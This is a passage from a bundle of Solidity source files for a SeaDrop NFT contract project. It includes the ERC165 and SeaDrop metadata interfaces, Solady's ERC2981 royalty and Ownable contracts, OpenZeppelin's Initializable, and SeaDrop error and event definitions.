function supportsInterface(bytes4 interfaceId) external view override returns (bool);\n\n // Additional functions and/or events based on implemented schemaIDs\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"src/interfaces/ISeaDropTokenContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface ISeaDropTokenContractMetadata {\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the EIP-2981 royalty info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 basisPoints);\n\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 got);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after it has already been set.\n */\n error ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of\n * 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n}\n"
},
"src/interfaces/IERC1155ContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\ninterface IERC1155ContractMetadata is ISeaDropTokenContractMetadata {\n /**\n * @dev A struct representing the supply info for a token id,\n * packed into one storage slot.\n *\n * @param maxSupply The max supply for the token id.\n * @param totalSupply The total token supply for the token id.\n * Subtracted when an item is burned.\n * @param totalMinted The total number of tokens minted for the token id.\n */\n struct TokenSupply {\n uint64 maxSupply; // 64/256 bits\n uint64 totalSupply; // 128/256 bits\n uint64 totalMinted; // 192/256 bits\n }\n\n /**\n * @dev Emit an event when the max token supply for a token id is updated.\n */\n event MaxSupplyUpdated(uint256 tokenId, uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Sets the max supply for a token id and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external;\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256);\n}\n"
},
"lib/solady/src/tokens/ERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC2981 NFT Royalty Standard implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC2981.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol)\nabstract contract ERC2981 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The royalty fee numerator exceeds the fee denominator.\n error RoyaltyOverflow();\n\n /// @dev The royalty receiver cannot be the zero address.\n error RoyaltyReceiverIsZeroAddress();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The default royalty info is given by:\n /// ```\n /// let packed := sload(_ERC2981_MASTER_SLOT_SEED)\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n ///\n /// The per token royalty info is given by.\n /// ```\n /// mstore(0x00, tokenId)\n /// mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n /// let packed := sload(keccak256(0x00, 0x40))\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n uint256 private constant _ERC2981_MASTER_SLOT_SEED = 0xaa4ec00224afccfdb7;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC2981 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Checks that `_feeDenominator` is non-zero.\n constructor() {\n require(_feeDenominator() != 0, \"Fee denominator cannot be zero.\");\n }\n\n /// @dev Returns the denominator for the royalty amount.\n /// Defaults to 10000, which represents fees in basis points.\n /// Override this function to return a custom amount if needed.\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 10000;\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC2981: 0x2a55205a.\n result := or(eq(s, 0x01ffc9a7), eq(s, 0x2a55205a))\n }\n }\n\n /// @dev Returns the `receiver` and `royaltyAmount` for `tokenId` sold at `salePrice`.\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n public\n view\n virtual\n returns (address receiver, uint256 royaltyAmount)\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n let packed := sload(keccak256(0x00, 0x40))\n receiver := shr(96, packed)\n if iszero(receiver) {\n packed := sload(mload(0x20))\n receiver := shr(96, packed)\n }\n let x := salePrice\n let y := xor(packed, shl(96, receiver)) // `feeNumerator`.\n // Overflow check, equivalent to `require(y == 0 || x <= type(uint256).max / y)`.\n // Out-of-gas revert. Should not be triggered in practice, but included for safety.\n returndatacopy(returndatasize(), returndatasize(), mul(y, gt(x, div(not(0), y))))\n royaltyAmount := div(mul(x, y), feeDenominator)\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n sstore(_ERC2981_MASTER_SLOT_SEED, or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator` to zero.\n function _deleteDefaultRoyalty() internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n sstore(_ERC2981_MASTER_SLOT_SEED, 0)\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setTokenRoyalty(uint256 tokenId, address receiver, uint96 feeNumerator)\n internal\n virtual\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId` to zero.\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), 0)\n }\n }\n}\n"
},
"lib/solady/src/auth/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple single owner authorization mixin.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/auth/Ownable.sol)\n/// @dev While the ownable portion follows\n/// [EIP-173](https://eips.ethereum.org/EIPS/eip-173) for compatibility,\n/// the nomenclature for the 2-step ownership handover may be unique to this codebase.\nabstract contract Ownable {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The caller is not authorized to call the function.\n error Unauthorized();\n\n /// @dev The `newOwner` cannot be the zero address.\n error NewOwnerIsZeroAddress();\n\n /// @dev The `pendingOwner` does not have a valid handover request.\n error NoHandoverRequest();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The ownership is transferred from `oldOwner` to `newOwner`.\n /// This event is intentionally kept the same as OpenZeppelin's Ownable to be\n /// compatible with indexers and [EIP-173](https://eips.ethereum.org/EIPS/eip-173),\n /// despite it not being as lightweight as a single argument event.\n event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);\n\n /// @dev An ownership handover to `pendingOwner` has been requested.\n event OwnershipHandoverRequested(address indexed pendingOwner);\n\n /// @dev The ownership handover to `pendingOwner` has been canceled.\n event OwnershipHandoverCanceled(address indexed pendingOwner);\n\n /// @dev `keccak256(bytes(\"OwnershipTransferred(address,address)\"))`.\n uint256 private constant _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE =\n 0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverRequested(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE =\n 0xdbf36a107da19e49527a7176a1babf963b4b0ff8cde35ee35d6cd8f1f9ac7e1d;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverCanceled(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE =\n 0xfa7b8eab7da67f412cc9575ed43464468f9bfbae89d1675917346ca6d8fe3c92;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The owner slot is given by: `not(_OWNER_SLOT_NOT)`.\n /// It is intentionally chosen to be a high value\n /// to avoid collision with lower slots.\n /// The choice of manual storage layout is to enable compatibility\n /// with both regular and upgradeable contracts.\n uint256 private constant _OWNER_SLOT_NOT = 0x8b78c6d8;\n\n /// The ownership handover slot of `newOwner` is given by:\n /// ```\n /// mstore(0x00, or(shl(96, user), _HANDOVER_SLOT_SEED))\n /// let handoverSlot := keccak256(0x00, 0x20)\n /// ```\n /// It stores the expiry timestamp of the two-step ownership handover.\n uint256 private constant _HANDOVER_SLOT_SEED = 0x389a75e1;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Initializes the owner directly without authorization guard.\n /// This function must be called upon initialization,\n /// regardless of whether the contract is upgradeable or not.\n /// This is to enable generalization to both regular and upgradeable contracts,\n /// and to save gas in case the initial owner is not the caller.\n /// For performance reasons, this function will not check if there\n /// is an existing owner.\n function _initializeOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Store the new value.\n sstore(not(_OWNER_SLOT_NOT), newOwner)\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, 0, newOwner)\n }\n }\n\n /// @dev Sets the owner directly without authorization guard.\n function _setOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n let ownerSlot := not(_OWNER_SLOT_NOT)\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, sload(ownerSlot), newOwner)\n // Store the new value.\n sstore(ownerSlot, newOwner)\n }\n }\n\n /// @dev Throws if the sender is not the owner.\n function _checkOwner() internal view virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // If the caller is not the stored owner, revert.\n if iszero(eq(caller(), sload(not(_OWNER_SLOT_NOT)))) {\n mstore(0x00, 0x82b42900) // `Unauthorized()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC UPDATE FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Allows the owner to transfer the ownership to `newOwner`.\n function transferOwnership(address newOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(shl(96, newOwner)) {\n mstore(0x00, 0x7448fbae) // `NewOwnerIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n }\n _setOwner(newOwner);\n }\n\n /// @dev Allows the owner to renounce their ownership.\n function renounceOwnership() public payable virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /// @dev Request a two-step ownership handover to the caller.\n /// The request will automatically expire in 48 hours (172800 seconds) by default.\n function requestOwnershipHandover() public payable virtual {\n unchecked {\n uint256 expires = block.timestamp + ownershipHandoverValidFor();\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to `expires`.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), expires)\n // Emit the {OwnershipHandoverRequested} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE, caller())\n }\n }\n }\n\n /// @dev Cancels the two-step ownership handover to the caller, if any.\n function cancelOwnershipHandover() public payable virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), 0)\n // Emit the {OwnershipHandoverCanceled} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE, caller())\n }\n }\n\n /// @dev Allows the owner to complete the two-step ownership handover to `pendingOwner`.\n /// Reverts if there is no existing ownership handover requested by `pendingOwner`.\n function completeOwnershipHandover(address pendingOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n let handoverSlot := keccak256(0x0c, 0x20)\n // If the handover does not exist, or has expired.\n if gt(timestamp(), sload(handoverSlot)) {\n mstore(0x00, 0x6f5e8818) // `NoHandoverRequest()`.\n revert(0x1c, 0x04)\n }\n // Set the handover slot to 0.\n sstore(handoverSlot, 0)\n }\n _setOwner(pendingOwner);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC READ FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the owner of the contract.\n function owner() public view virtual returns (address result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := sload(not(_OWNER_SLOT_NOT))\n }\n }\n\n /// @dev Returns the expiry timestamp for the two-step ownership handover to `pendingOwner`.\n function ownershipHandoverExpiresAt(address pendingOwner)\n public\n view\n virtual\n returns (uint256 result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute the handover slot.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n // Load the handover slot.\n result := sload(keccak256(0x0c, 0x20))\n }\n }\n\n /// @dev Returns how long a two-step ownership handover is valid for in seconds.\n function ownershipHandoverValidFor() public view virtual returns (uint64) {\n return 48 * 3600;\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* MODIFIERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Marks a function as only callable by the owner.\n modifier onlyOwner() virtual {\n _checkOwner();\n _;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.19;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (address(this).code.length == 0 && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"src/lib/SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { CreatorPayout, PublicDrop } from \"./ERC721SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @notice The SeaDrop token types, emitted as part of\n * `event SeaDropTokenDeployed`.\n */\n enum SEADROP_TOKEN_TYPE {\n ERC721_STANDARD,\n ERC721_CLONE,\n ERC721_UPGRADEABLE,\n ERC1155_STANDARD,\n ERC1155_CLONE,\n ERC1155_UPGRADEABLE\n }\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed(SEADROP_TOKEN_TYPE tokenType);\n\n /**\n * @notice Revert with an error if the function selector is not supported.\n */\n error UnsupportedFunctionSelector(bytes4 selector);\n\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total,\n uint256 maxTokenSupplyForStage\n );\n\n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed(address got);\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert if the creator payouts are not set.\n */\n error CreatorPayoutsNotSet();\n\n /**\n * @dev Revert if the creator payout basis points are zero.\n */\n error CreatorPayoutBasisPointsCannotBeZero();\n\n /**\n * @dev Revert if the total basis points for the creator payouts\n * don't equal exactly 10_000.\n */\n error InvalidCreatorPayoutTotalBasisPoints(\n uint256 totalReceivedBasisPoints\n );\n\n /**\n * @dev Revert if the creator payout basis points don't add up to 10_000.\n */\n error InvalidCreatorPayoutBasisPoints(uint256 totalReceivedBasisPoints);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if a signer is already included in mapping\n * when adding.\n */\n error DuplicateSigner();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed(address got);\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert if the start time is greater than the end time.\n */\n error InvalidStartAndEndTime(uint256 startTime, uint256 endTime);\n\n /**\n * @dev Revert with an error if the signer payment token is not the same.\n */\n error InvalidSignedPaymentToken(address got, address want);\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(\n address paymentToken,\n uint256 got,\n uint256 minimum\n );\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed\n * maxTotalMintableByWalletPerToken is greater than the maximum\n * specified.\n */\n error InvalidSignedMaxTotalMintableByWalletPerToken(\n uint256 got,\n uint256 